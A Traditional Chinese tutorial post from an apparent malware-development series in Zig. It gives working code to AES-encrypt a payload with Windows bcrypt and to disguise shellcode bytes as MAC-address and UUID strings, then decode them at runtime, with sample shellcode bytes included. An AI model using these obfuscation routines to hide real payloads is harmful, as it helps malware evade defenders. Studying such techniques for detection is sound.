嗨大家,我 CX330。
我明天和後天都各還有一個死線,希望今天可以早點寫完,真可怕,果然還是要囤文章比較不會累死。
昨天已經介紹了 XOR、RC4 跟 IP 位址混淆,今天要來介紹 AES 加密、MAC 位址混淆和 UUID 混淆。如果還沒有看過上一篇的可以先去閱讀一下,那就讓我們開始吧!
中華民國刑法第 362 條:「製作專供犯本章之罪之電腦程式,而供自己或他人犯本章之罪,致生損害於公眾或他人者,處五年以下有期徒刑、拘役或科或併科六十萬元以下罰金。」
本系列文章涉及多種惡意程式的技術,旨在提升個人技術能力與資安意識。本人在此強烈呼籲讀者,切勿使用所學到的知識與技術從事任何違法行為!
本系列文章中使用的 Zig 版本號為 0.14.1。
我們在這邊會提供一種方式去實作,就是使用 Windows 的 bcrypt.h
API。
另外,礙於篇幅,我有使用另外兩種方式實作,會放在這邊。是利用 Zig 標準函式庫和 TinyAES 專案去實作,如果有興趣歡迎去閱讀按星星。
AES 分別根據金鑰長度的不同,分為 AES128、AES192 和 AES256。此外,它可以使用不同的區塊加密法工作模式,例如 ECB、CBC 等等,下面的範例都會使用 CBC 加密。
然後 AES 還會需要一個初始化向量(Initialization Vector, IV),提供 IV 將會給加密的過程提供額外的隨機性。
無論選擇哪種 AES 類型,AES 始終需要 128 位元的輸入並產生 128 位元的輸出塊。重要的是要記住,輸入資料應該是 16 位元組(128 位元)的倍數。如果被加密的負載不是 16 位元組的倍數,則需要填充以增加負載大小,使其成為 16 位元的倍數。
bcrypt.h
const std = @import("std");
const win = std.os.windows;
const kernel32 = win.kernel32;
const KEY_SIZE = 32;
const IV_SIZE = 16;
const DWORD = u32;
const BOOL = i32;
const PBYTE = [*]u8;
const PVOID = ?*anyopaque;
const ULONG = u32;
const NTSTATUS = i32;
const BCRYPT_BLOCK_PADDING = 0x00000001;
const STATUS_SUCCESS: NTSTATUS = 0;
const BCRYPT_AES_ALGORITHM = std.unicode.utf8ToUtf16LeStringLiteral("AES");
const BCRYPT_CHAINING_MODE = std.unicode.utf8ToUtf16LeStringLiteral("ChainingMode");
const BCRYPT_CHAIN_MODE_CBC = std.unicode.utf8ToUtf16LeStringLiteral("ChainingModeCBC");
const AES = extern struct {
pPlainText: ?PBYTE,
dwPlainSize: DWORD,
pCipherText: ?PBYTE,
dwCipherSize: DWORD,
pKey: ?PBYTE,
pIv: ?PBYTE,
};
bcrypt.dll
匯出的外部函數要先宣告 BCryptOpenAlgorithmProvider
,用來獲取 CNG(Windows Cryptography API: Next Generation)演算法提供者的句柄,這是使用任何加密算法的第一步。
extern "bcrypt" fn BCryptOpenAlgorithmProvider(
phAlgorithm: *?*anyopaque,
pszAlgId: [*:0]const u16,
pszImplementation: ?[*:0]const u16,
dwFlags: ULONG,
) callconv(.C) NTSTATUS;
再來要使用 BCryptCLoseAlgorithmProvider
來關閉使用 BCryptOpenAlgorithmProvider
開啟的演算法提供者的句柄。
extern "bcrypt" fn BCryptCloseAlgorithmProvider(
hAlgorithm: ?*anyopaque,
dwFlags: ULONG,
) callconv(.C) NTSTATUS;
下一個要宣告的是 BCryptGetProperty
,用來獲取 CNG 物件的屬性值。
extern "bcrypt" fn BCryptGetProperty(
hObject: ?*anyopaque,
pszProperty: [*:0]const u16,
pbOutput: PBYTE,
cbOutput: ULONG,
pcbResult: *ULONG,
dwFlags: ULONG,
) callconv(.C) NTSTATUS;
然後要設置 CNG 物件的屬性,所以要宣告 BCryptSetProperty
。
extern "bcrypt" fn BCryptSetProperty(
hObject: ?*anyopaque,
pszProperty: [*:0]const u16,
pbInput: PBYTE,
cbInput: ULONG,
dwFlags: ULONG,
) callconv(.C) NTSTATUS;
建立對稱式金鑰會用的 BCryptGenerateSymmetricKey
。
extern "bcrypt" fn BCryptGenerateSymmetricKey(
hAlgorithm: ?*anyopaque,
phKey: *?*anyopaque,
pbKeyObject: PBYTE,
cbKeyObject: ULONG,
pbSecret: PBYTE,
cbSecret: ULONG,
dwFlags: ULONG,
) callconv(.C) NTSTATUS;
要關閉金鑰句柄的函數 BCryptDestroyKey
。
extern "bcrypt" fn BCryptDestroyKey(hKey: ?*anyopaque) callconv(.C) NTSTATUS;
最後,就是加密函數 BCryptEncrypt
。
extern "bcrypt" fn BCryptEncrypt(
hKey: ?*anyopaque,
pbInput: [*]u8,
cbInput: ULONG,
pPaddingInfo: ?*anyopaque,
pbIV: [*]u8,
cbIV: ULONG,
pbOutput: ?[*]u8,
cbOutput: ULONG,
pcbResult: *ULONG,
dwFlags: ULONG,
) callconv(.C) NTSTATUS;
還有解密函數 BCryptDecrypt
。
extern "bcrypt" fn BCryptDecrypt(
hKey: ?*anyopaque,
pbInput: [*]u8,
cbInput: ULONG,
pPaddingInfo: ?*anyopaque,
pbIV: [*]u8,
cbIV: ULONG,
pbOutput: ?[*]u8,
cbOutput: ULONG,
pcbResult: *ULONG,
dwFlags: ULONG,
) callconv(.C) NTSTATUS;
// Encryption
fn installAesEncryption(aes: *AES) bool {
var bSTATE: bool = true;
var hAlgorithm: ?*anyopaque = null;
var hKeyHandle: ?*anyopaque = null;
var cbResult: ULONG = 0;
var dwBlockSize: DWORD = 0;
var cbKeyObject: DWORD = 0;
var pbKeyObject: ?[*]u8 = null;
var pbCipherText: ?[*]u8 = null;
var cbCipherText: DWORD = 0;
var status: NTSTATUS = STATUS_SUCCESS;
blk: {
status = BCryptOpenAlgorithmProvider(&hAlgorithm, BCRYPT_AES_ALGORITHM, null, 0);
if (!ntSuccess(status)) {
std.debug.print("[!] BCryptOpenAlgorithmProvider Failed With Error: 0x{X:0>8}\n", .{status});
bSTATE = false;
break :blk;
}
status = BCryptGetProperty(
hAlgorithm,
std.unicode.utf8ToUtf16LeStringLiteral("ObjectLength"),
@ptrCast(&cbKeyObject),
@sizeOf(DWORD),
&cbResult,
0,
);
if (!ntSuccess(status)) {
std.debug.print("[!] BCryptGetProperty[1] Failed With Error: 0x{X:0>8}\n", .{status});
bSTATE = false;
break :blk;
}
status = BCryptGetProperty(
hAlgorithm,
std.unicode.utf8ToUtf16LeStringLiteral("BlockLength"),
@ptrCast(&dwBlockSize),
@sizeOf(DWORD),
&cbResult,
0,
);
if (!ntSuccess(status)) {
std.debug.print("[!] BCryptGetProperty[2] Failed With Error: 0x{X:0>8}\n", .{status});
bSTATE = false;
break :blk;
}
if (dwBlockSize != 16) {
bSTATE = false;
break :blk;
}
pbKeyObject = @ptrCast(kernel32.HeapAlloc(kernel32.GetProcessHeap().?, 0, cbKeyObject));
if (pbKeyObject == null) {
bSTATE = false;
break :blk;
}
status = BCryptSetProperty(
hAlgorithm,
BCRYPT_CHAINING_MODE,
@ptrCast(@constCast(BCRYPT_CHAIN_MODE_CBC.ptr)),
@sizeOf(@TypeOf(BCRYPT_CHAIN_MODE_CBC)),
0,
);
if (!ntSuccess(status)) {
std.debug.print("[!] BCryptSetProperty Failed With Error: 0x{X:0>8}\n", .{status});
bSTATE = false;
break :blk;
}
status = BCryptGenerateSymmetricKey(
hAlgorithm,
&hKeyHandle,
pbKeyObject.?,
cbKeyObject,
aes.pKey.?,
KEY_SIZE,
0,
);
if (!ntSuccess(status)) {
std.debug.print("[!] BCryptGenerateSymmetricKey Failed With Error: 0x{X:0>8}\n", .{status});
bSTATE = false;
break :blk;
}
status = BCryptEncrypt(
hKeyHandle,
aes.pPlainText.?,
aes.dwPlainSize,
null,
aes.pIv.?,
IV_SIZE,
null,
0,
&cbCipherText,
BCRYPT_BLOCK_PADDING,
);
if (!ntSuccess(status)) {
std.debug.print("[!] BCryptEncrypt[1] Failed With Error: 0x{X:0>8}\n", .{status});
bSTATE = false;
break :blk;
}
pbCipherText = @ptrCast(kernel32.HeapAlloc(kernel32.GetProcessHeap().?, 0, cbCipherText));
if (pbCipherText == null) {
bSTATE = false;
break :blk;
}
status = BCryptEncrypt(
hKeyHandle,
aes.pPlainText.?,
aes.dwPlainSize,
null,
aes.pIv.?,
IV_SIZE,
pbCipherText,
cbCipherText,
&cbResult,
BCRYPT_BLOCK_PADDING,
);
if (!ntSuccess(status)) {
std.debug.print("[!] BCryptEncrypt[2] Failed With Error: 0x{X:0>8}\n", .{status});
bSTATE = false;
break :blk;
}
}
if (hKeyHandle != null) _ = BCryptDestroyKey(hKeyHandle);
if (hAlgorithm != null) _ = BCryptCloseAlgorithmProvider(hAlgorithm, 0);
if (pbKeyObject != null) _ = kernel32.HeapFree(kernel32.GetProcessHeap().?, 0, pbKeyObject.?);
if (pbCipherText != null and bSTATE) {
aes.pCipherText = pbCipherText;
aes.dwCipherSize = cbCipherText;
}
return bSTATE;
}
這個函數在做的事情如下:
hAlgorithm
ObjectLength
BlockLength
pbKeyObject
BCryptSetProperty
設定 CBC 模式BCryptGenerateSymmetricKey
建立對稱式金鑰的 HandleBCryptEncrypt
pbCipherText = null
和 cbCipherText = 0
,用來取得所需的輸出長度(回填 cbCipherText
)cbCipherText
分配 pbCipherText
,第二次呼叫把實際密文寫入分配的緩衝。傳入 BCRYPT_BLOCK_PADDING
讓 CNG 自行做 PKCS#7 paddingpbCipherText
與長度放到 aes
結構給呼叫者// Remove PKCS#7 padding from decrypted data
fn removePkcs7Padding(data: []u8) ?[]u8 {
if (data.len == 0) return null;
const padding_length = data[data.len - 1];
// Validate padding length
if (padding_length == 0 or padding_length > 16 or padding_length > data.len) {
return null;
}
// Validate all padding bytes are the same
const start_index = data.len - padding_length;
for (data[start_index..]) |byte| {
if (byte != padding_length) {
return null;
}
}
return data[0..start_index];
}
// Decryption
fn installAesDecryption(aes: *AES) bool {
var bSTATE: bool = true;
var hAlgorithm: ?*anyopaque = null;
var hKeyHandle: ?*anyopaque = null;
var cbResult: ULONG = 0;
var dwBlockSize: DWORD = 0;
var cbKeyObject: DWORD = 0;
var pbKeyObject: ?[*]u8 = null;
var pbPlainText: ?[*]u8 = null;
var cbPlainText: DWORD = 0;
var status: NTSTATUS = STATUS_SUCCESS;
blk: {
status = BCryptOpenAlgorithmProvider(&hAlgorithm, BCRYPT_AES_ALGORITHM, null, 0);
if (!ntSuccess(status)) {
std.debug.print("[!] BCryptOpenAlgorithmProvider Failed With Error: 0x{X:0>8}\n", .{status});
bSTATE = false;
break :blk;
}
status = BCryptGetProperty(
hAlgorithm,
std.unicode.utf8ToUtf16LeStringLiteral("ObjectLength"),
@ptrCast(&cbKeyObject),
@sizeOf(DWORD),
&cbResult,
0,
);
if (!ntSuccess(status)) {
std.debug.print("[!] BCryptGetProperty[1] Failed With Error: 0x{X:0>8}\n", .{status});
bSTATE = false;
break :blk;
}
status = BCryptGetProperty(
hAlgorithm,
std.unicode.utf8ToUtf16LeStringLiteral("BlockLength"),
@ptrCast(&dwBlockSize),
@sizeOf(DWORD),
&cbResult,
0,
);
if (!ntSuccess(status)) {
std.debug.print("[!] BCryptGetProperty[2] Failed With Error: 0x{X:0>8}\n", .{status});
bSTATE = false;
break :blk;
}
if (dwBlockSize != 16) {
bSTATE = false;
break :blk;
}
pbKeyObject = @ptrCast(kernel32.HeapAlloc(kernel32.GetProcessHeap().?, 0, cbKeyObject));
if (pbKeyObject == null) {
bSTATE = false;
break :blk;
}
status = BCryptSetProperty(
hAlgorithm,
BCRYPT_CHAINING_MODE,
@ptrCast(@constCast(BCRYPT_CHAIN_MODE_CBC.ptr)),
@sizeOf(@TypeOf(BCRYPT_CHAIN_MODE_CBC)),
0,
);
if (!ntSuccess(status)) {
std.debug.print("[!] BCryptSetProperty Failed With Error: 0x{X:0>8}\n", .{status});
bSTATE = false;
break :blk;
}
status = BCryptGenerateSymmetricKey(
hAlgorithm,
&hKeyHandle,
pbKeyObject.?,
cbKeyObject,
aes.pKey.?,
KEY_SIZE,
0,
);
if (!ntSuccess(status)) {
std.debug.print("[!] BCryptGenerateSymmetricKey Failed With Error: 0x{X:0>8}\n", .{status});
bSTATE = false;
break :blk;
}
status = BCryptDecrypt(
hKeyHandle,
aes.pCipherText.?,
aes.dwCipherSize,
null,
aes.pIv.?,
IV_SIZE,
null,
0,
&cbPlainText,
BCRYPT_BLOCK_PADDING,
);
if (!ntSuccess(status)) {
std.debug.print("[!] BCryptDecrypt[1] Failed With Error: 0x{X:0>8}\n", .{status});
bSTATE = false;
break :blk;
}
pbPlainText = @ptrCast(kernel32.HeapAlloc(kernel32.GetProcessHeap().?, 0, cbPlainText));
if (pbPlainText == null) {
bSTATE = false;
break :blk;
}
status = BCryptDecrypt(
hKeyHandle,
aes.pCipherText.?,
aes.dwCipherSize,
null,
aes.pIv.?,
IV_SIZE,
pbPlainText,
cbPlainText,
&cbResult,
BCRYPT_BLOCK_PADDING,
);
if (!ntSuccess(status)) {
std.debug.print("[!] BCryptDecrypt[2] Failed With Error: 0x{X:0>8}\n", .{status});
bSTATE = false;
break :blk;
}
// Remove PKCS#7 padding after successful decryption
if (pbPlainText != null and cbResult > 0) {
const decrypted_data = pbPlainText.?[0..cbResult];
if (removePkcs7Padding(decrypted_data)) |unpadded| {
cbResult = @intCast(unpadded.len);
}
}
}
if (hKeyHandle != null) _ = BCryptDestroyKey(hKeyHandle);
if (hAlgorithm != null) _ = BCryptCloseAlgorithmProvider(hAlgorithm, 0);
if (pbKeyObject != null) _ = kernel32.HeapFree(kernel32.GetProcessHeap().?, 0, pbKeyObject.?);
if (pbPlainText != null and bSTATE) {
aes.pPlainText = pbPlainText;
aes.dwPlainSize = cbResult; // Use the adjusted size after padding removal
}
return bSTATE;
}
這個函式在做這些事:
ObjectLength
pbKeyObject
BCryptDecrypt
removePkcs7Padding
驗證並計算真正的明文長度pbPlainText
與新長度放進 aes
結構這部分我們會把 Payload 轉換成類似 MAC 地址的形式,像是 AA-BB-CC-DD-EE-FF
的形式。因為 MAC 地址是由 6 個位元組組成的,所以 Payload 需要是 6 的倍數,如果不是的話可以寫個函數去增加填充。
先來看看程式碼。
const std = @import("std");
/// Generates a MAC address string from 6 raw bytes
fn generateMAC(a: u8, b: u8, c: u8, d: u8, e: u8, f: u8, buffer: []u8) []const u8 {
// Format the 6 bytes as a MAC address string (XX-XX-XX-XX-XX-XX)
return std.fmt.bufPrint(buffer, "{X:0>2}-{X:0>2}-{X:0>2}-{X:0>2}-{X:0>2}-{X:0>2}", .{
a, b, c, d, e, f,
}) catch unreachable;
}
/// Generate the MAC output representation of the shellcode
fn generateMacOutput(pShellcode: []const u8, writer: anytype) !bool {
const shellcodeSize = pShellcode.len;
// If the shellcode buffer is empty or the size is not a multiple of 6, exit
if (shellcodeSize == 0 or shellcodeSize % 6 != 0) {
return false;
}
try writer.print("const mac_array = [_][*:0]const u8{{\n\t", .{});
// Buffer to hold the MAC address string (XX-XX-XX-XX-XX-XX = 17 chars + null)
var macBuffer: [32]u8 = undefined;
var counter: usize = 0;
// Process the shellcode in groups of 6 bytes
var i: usize = 0;
while (i < shellcodeSize) {
// Generate a MAC address from the current 6 bytes
const mac = generateMAC(pShellcode[i], pShellcode[i + 1], pShellcode[i + 2], pShellcode[i + 3], pShellcode[i + 4], pShellcode[i + 5], &macBuffer);
counter += 1;
// Print the MAC address
if (i == shellcodeSize - 6) {
// Last MAC address
try writer.print("\"{s}\"", .{mac});
} else {
// Not the last one, add comma
try writer.print("\"{s}\", ", .{mac});
}
// Move to the next group of 6 bytes
i += 6;
// Add a newline for formatting after every 6 MAC addresses
if (counter % 6 == 0 and i < shellcodeSize) {
try writer.print("\n\t", .{});
}
}
try writer.print("\n}};\n\n", .{});
return true;
}
pub fn main() !void {
// Example shellcode (must be a multiple of 6 bytes)
const shellcode = [_]u8{
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, // 1st MAC
0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, // 2nd MAC
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, // 3rd MAC
0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, // 4th MAC
0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, // 5th MAC
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, // 6th MAC
0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, // 7th MAC
};
// Use stdout as the writer
const stdout = std.io.getStdOut().writer();
std.debug.print("[+] Generating MAC address representation for {} bytes of shellcode\n", .{shellcode.len});
// Generate and print the MAC address representation
if (try generateMacOutput(&shellcode, stdout)) {} else {
std.debug.print("[!] Failed to generate MAC address representation\n", .{});
}
}
和昨天的部分一樣,混淆的部分主要是在 generateMAC
這個函數,它會接收 7 個參數,分別是 Payload 的 6 個字元和 1 個緩衝區。接著使用 std.fmt.bufPrint
去把格式化成 MAC 地址的字串放進緩衝區。
解混淆的時候我們會去動態從 ntdll.dll
載入 RtlEthernetStringToAddressA
這個函數,這個函數就是會幫我們把 MAC 地址轉回 Raw bytes 並放回緩衝去,也就完成了解混淆的工作。
const std = @import("std");
const win = std.os.windows;
const kernel32 = win.kernel32;
const NTSTATUS = win.NTSTATUS;
const PCSTR = [*:0]const u8;
const PVOID = ?*anyopaque;
const PBYTE = [*]u8;
const SIZE_T = usize;
// Define function pointer type for RtlEthernetStringToAddressA
const fnRtlEthernetStringToAddressA = fn (
S: PCSTR,
Terminator: *PCSTR,
Addr: PVOID,
) callconv(win.WINAPI) NTSTATUS;
/// Deobfuscates an array of MAC addresses into a byte buffer
pub fn macDeobfuscation(
macArray: []const [*:0]const u8,
allocator: std.mem.Allocator,
) !struct { buffer: []u8, size: SIZE_T } {
// Create a UTF-16 string for "NTDLL"
const ntdll_w: [*:0]const u16 = std.unicode.utf8ToUtf16LeStringLiteral("NTDLL");
// Load the NTDLL library using wide string
const ntdll_module = kernel32.GetModuleHandleW(ntdll_w);
if (ntdll_module == null) {
std.debug.print("[!] GetModuleHandle Failed With Error : {}\n", .{kernel32.GetLastError()});
return error.GetModuleHandleFailed;
}
// Get the address of RtlEthernetStringToAddressA function
const rtlEthernetStringToAddressA_ptr = kernel32.GetProcAddress(ntdll_module.?, "RtlEthernetStringToAddressA");
if (rtlEthernetStringToAddressA_ptr == null) {
std.debug.print("[!] GetProcAddress Failed With Error : {}\n", .{kernel32.GetLastError()});
return error.GetProcAddressFailed;
}
// Cast the function pointer to the correct type
const rtlEthernetStringToAddressA: *const fnRtlEthernetStringToAddressA = @ptrCast(rtlEthernetStringToAddressA_ptr);
// Calculate the size of the buffer needed (number of MAC addresses * 6 bytes each)
const bufferSize = macArray.len * 6; // MAC addresses are 6 bytes each
// Allocate memory for the deobfuscated shellcode
const buffer = try allocator.alloc(u8, bufferSize);
errdefer allocator.free(buffer);
// Using a raw pointer to keep track of our current position
var tmpBuffer: [*]u8 = buffer.ptr;
// Deobfuscate each MAC address
for (macArray) |macAddress| {
var terminator: PCSTR = undefined;
// Convert the MAC address string to bytes
const status = rtlEthernetStringToAddressA(macAddress, &terminator, tmpBuffer);
// Check if the status is not SUCCESS (0)
if (status != NTSTATUS.SUCCESS) {
std.debug.print("[!] RtlEthernetStringToAddressA Failed At [{s}] With Error 0x{X:0>8}\n", .{ macAddress, @intFromEnum(status) });
return error.RtlEthernetStringToAddressFailed;
}
// Increment tmpBuffer by 6 bytes for the next address
tmpBuffer = @as([*]u8, @ptrFromInt(@intFromPtr(tmpBuffer) + 6));
}
return .{ .buffer = buffer, .size = bufferSize };
}
pub fn main() !void {
// Setup allocator
var arena = std.heap.ArenaAllocator.init(std.heap.page_allocator);
defer arena.deinit();
const allocator = arena.allocator();
// Example array of MAC addresses (shellcode encoded as MAC)
const mac_array = [_][*:0]const u8{ "FC-48-83-E4-F0-E8", "C0-00-00-00-41-51", "41-50-52-51-56-48", "31-D2-65-48-8B-52", "60-48-8B-52-18-48", "8B-52-20-48-8B-72", "50-48-0F-B7-4A-4A" };
std.debug.print("[+] Attempting to deobfuscate {} MAC addresses\n", .{mac_array.len});
// Call the deobfuscation function
const result = try macDeobfuscation(&mac_array, allocator);
defer allocator.free(result.buffer);
std.debug.print("[+] Successfully deobfuscated shellcode\n", .{});
std.debug.print("[+] Buffer size: {} bytes\n", .{result.size});
// Print all bytes
std.debug.print("[+] Deobfuscated bytes: ", .{});
for (result.buffer) |byte| {
std.debug.print("{X:0>2} ", .{byte});
}
std.debug.print("\n", .{});
}
和之前的差不多,會把 Payload 轉乘 UUID 的形式。我們先來看一下 UUID 長什麼樣子。
不過 UUID 混淆會比起以往的還要再複雜一點,例如 FC 48 83 E4 F0 E8 C0 00 00 00 41 51 41 50 52 51
不會被轉換為 FC4883E4-F0E8-C000-0000-415141505251
,而是會被轉換成 E48348FC-E8F0-00C0-0000-415141505251
。
這其中的規則在於,前面的三段會是由小端序(Little endian)組成的,而後兩段是由大端序(Big endian)組成的。
那我們來看一下程式碼。
const std = @import("std");
/// Generates a UUID string from 16 raw bytes
fn generateUuid(a: u8, b: u8, c: u8, d: u8, e: u8, f: u8, g: u8, h: u8, i: u8, j: u8, k: u8, l: u8, m: u8, n: u8, o: u8, p: u8, buffer: []u8) ![]const u8 {
// In Zig, we can directly format the entire UUID in one go instead of
// creating intermediate segments as in the C version
return try std.fmt.bufPrint(buffer, "{X:0>2}{X:0>2}{X:0>2}{X:0>2}-{X:0>2}{X:0>2}-{X:0>2}{X:0>2}-{X:0>2}{X:0>2}-{X:0>2}{X:0>2}{X:0>2}{X:0>2}{X:0>2}{X:0>2}", .{ d, c, b, a, f, e, h, g, i, j, k, l, m, n, o, p });
}
/// Generate the UUID output representation of the shellcode
fn generateUuidOutput(pShellcode: []const u8, writer: anytype) !bool {
const shellcodeSize = pShellcode.len;
// If the shellcode buffer is empty or the size is not a multiple of 16, exit
if (shellcodeSize == 0 or shellcodeSize % 16 != 0) {
return false;
}
try writer.print("const uuid_array = [_][*:0]const u8{{\n\t", .{});
// Buffer to hold the UUID string (36 chars + null terminator)
var uuidBuffer: [40]u8 = undefined;
// Process the shellcode in groups of 16 bytes
var counter: usize = 0;
var i: usize = 0;
while (i < shellcodeSize) {
// Make sure we have 16 bytes available
if (i + 15 >= shellcodeSize) break;
counter += 1;
// Generate the UUID from the current 16 bytes
const uuid = try generateUuid(pShellcode[i], pShellcode[i + 1], pShellcode[i + 2], pShellcode[i + 3], pShellcode[i + 4], pShellcode[i + 5], pShellcode[i + 6], pShellcode[i + 7], pShellcode[i + 8], pShellcode[i + 9], pShellcode[i + 10], pShellcode[i + 11], pShellcode[i + 12], pShellcode[i + 13], pShellcode[i + 14], pShellcode[i + 15], &uuidBuffer);
// Print the UUID
if (i == shellcodeSize - 16) {
// Last UUID
try writer.print("\"{s}\"", .{uuid});
} else {
// Not the last one, add comma
try writer.print("\"{s}\", ", .{uuid});
}
// Move to next group of 16 bytes
i += 16;
// Add a newline for formatting after every 3 UUIDs
if (counter % 3 == 0 and i < shellcodeSize) {
try writer.print("\n\t", .{});
}
}
try writer.print("\n}};\n\n", .{});
return true;
}
pub fn main() !void {
// Example shellcode (must be a multiple of 16 bytes)
const shellcode = [_]u8{
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, // Add more shellcode here if needed
};
// Use stdout as the writer
const stdout = std.io.getStdOut().writer();
std.debug.print("[+] Generating UUID representation for {} bytes of shellcode\n", .{shellcode.len});
// Generate and print the UUID representation
if (try generateUuidOutput(&shellcode, stdout)) {} else {
std.debug.print("[!] Failed to generate UUID representation\n", .{});
}
}
注意 generateUuid
這個函數的 bufPrint
裡面的格式化字符串並不是從 a
到 p
照順序排列,這就是因為剛剛提到的端序的問題。
要解混淆,我們會動態的從 rpcrt4.dll
載入 UuidFromStringA
這個函數,雖然 UUID 的不同的段有不同的端序,但是 UuidFromStringA
這個 Windows API 會幫我們處理這些問題。
const std = @import("std");
const windows = std.os.windows;
const WINAPI = windows.WINAPI;
// Type definitions
const RPC_STATUS = u32;
const RPC_CSTR = [*:0]const u8;
const UUID = extern struct {
data1: u32,
data2: u16,
data3: u16,
data4: [8]u8,
};
const RPC_S_OK: RPC_STATUS = 0;
// Function pointer type for UuidFromStringA
const UuidFromStringAFn = *const fn (RPC_CSTR, *UUID) callconv(WINAPI) RPC_STATUS;
// External function declarations
extern "kernel32" fn GetProcAddress(hModule: windows.HMODULE, lpProcName: [*:0]const u8) callconv(WINAPI) ?windows.FARPROC;
extern "kernel32" fn LoadLibraryA(lpLibFileName: [*:0]const u8) callconv(WINAPI) ?windows.HMODULE;
extern "kernel32" fn GetProcessHeap() callconv(WINAPI) windows.HANDLE;
extern "kernel32" fn HeapAlloc(hHeap: windows.HANDLE, dwFlags: windows.DWORD, dwBytes: usize) callconv(WINAPI) ?*anyopaque;
extern "kernel32" fn HeapFree(hHeap: windows.HANDLE, dwFlags: windows.DWORD, lpMem: ?*anyopaque) callconv(WINAPI) windows.BOOL;
extern "kernel32" fn GetLastError() callconv(WINAPI) windows.DWORD;
const HEAP_ZERO_MEMORY: windows.DWORD = 0x00000008;
pub fn uuidDeobfuscation(
uuid_array: []const [*:0]const u8,
pp_d_address: *?[*]u8,
p_d_size: *usize,
) bool {
// Getting UuidFromStringA address from Rpcrt4.dll
const rpcrt4_handle = LoadLibraryA("RPCRT4") orelse {
std.debug.print("[!] LoadLibrary Failed With Error : {}\n", .{GetLastError()});
return false;
};
const proc_addr = GetProcAddress(rpcrt4_handle, "UuidFromStringA") orelse {
std.debug.print("[!] GetProcAddress Failed With Error : {}\n", .{GetLastError()});
return false;
};
const uuid_from_string_a: UuidFromStringAFn = @ptrCast(proc_addr);
// Getting the real size of the shellcode which is the number of UUID strings * 16
const buff_size = uuid_array.len * 16;
// Allocating memory which will hold the deobfuscated shellcode
const buffer_ptr = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, buff_size) orelse {
std.debug.print("[!] HeapAlloc Failed With Error : {}\n", .{GetLastError()});
return false;
};
const buffer: [*]u8 = @ptrCast(buffer_ptr);
var tmp_buffer: [*]u8 = buffer;
// Loop through all the UUID strings saved in uuid_array
for (uuid_array, 0..) |uuid_string, i| {
// Deobfuscating one UUID string at a time
_ = i; // Suppress unused variable warning
const status = uuid_from_string_a(uuid_string, @ptrCast(@alignCast(tmp_buffer)));
if (status != RPC_S_OK) {
std.debug.print("[!] UuidFromStringA Failed At [{s}] With Error 0x{X:0>8}\n", .{ uuid_string, status });
return false;
}
// 16 bytes are written to tmp_buffer at a time
// Therefore tmp_buffer will be incremented by 16 to store the upcoming 16 bytes
tmp_buffer += 16;
}
pp_d_address.* = buffer;
p_d_size.* = buff_size;
return true;
}
// Example usage
pub fn main() !void {
// Example UUID array (you would replace this with actual UUIDs)
const uuid_array = [_][*:0]const u8{"E48348FC-E8F0-00C0-0000-415141505251"};
var deobfuscated_data: ?[*]u8 = null;
var data_size: usize = 0;
if (uuidDeobfuscation(uuid_array[0..], &deobfuscated_data, &data_size)) {
std.debug.print("[+] Deobfuscation successful! Size: {} bytes\n", .{data_size});
// Use the deobfuscated data here
if (deobfuscated_data) |data| {
// Example: print first few bytes
for (0..@min(data_size, 32)) |i| {
std.debug.print("{X:0>2} ", .{data[i]});
}
std.debug.print("\n", .{}); // Fixed: empty tuple instead of empty braces
// Free allocated memory
_ = HeapFree(GetProcessHeap(), 0, data);
}
} else {
std.debug.print("[!] Deobfuscation failed!\n", .{}); // Fixed: empty tuple instead of empty braces
}
}
好啦終於結束了,我要趕快去趕另一個 Deadline 了,累死累死。是說真的莫名其妙就來到了第十天了,有點小感動自己能撐到現在,也十分感謝閱讀到這邊的大家!
如果對惡意程式開發或是惡意程式分析有興趣的話,這個系列會很適合你!最後也感謝大家的閱讀,歡迎順手按讚留言訂閱轉發(轉發可以讓朋友們知道你都在讀這種很技術的文章,他們會覺得你好帥好強好電,然後開始裝弱互相吹捧)~明天見!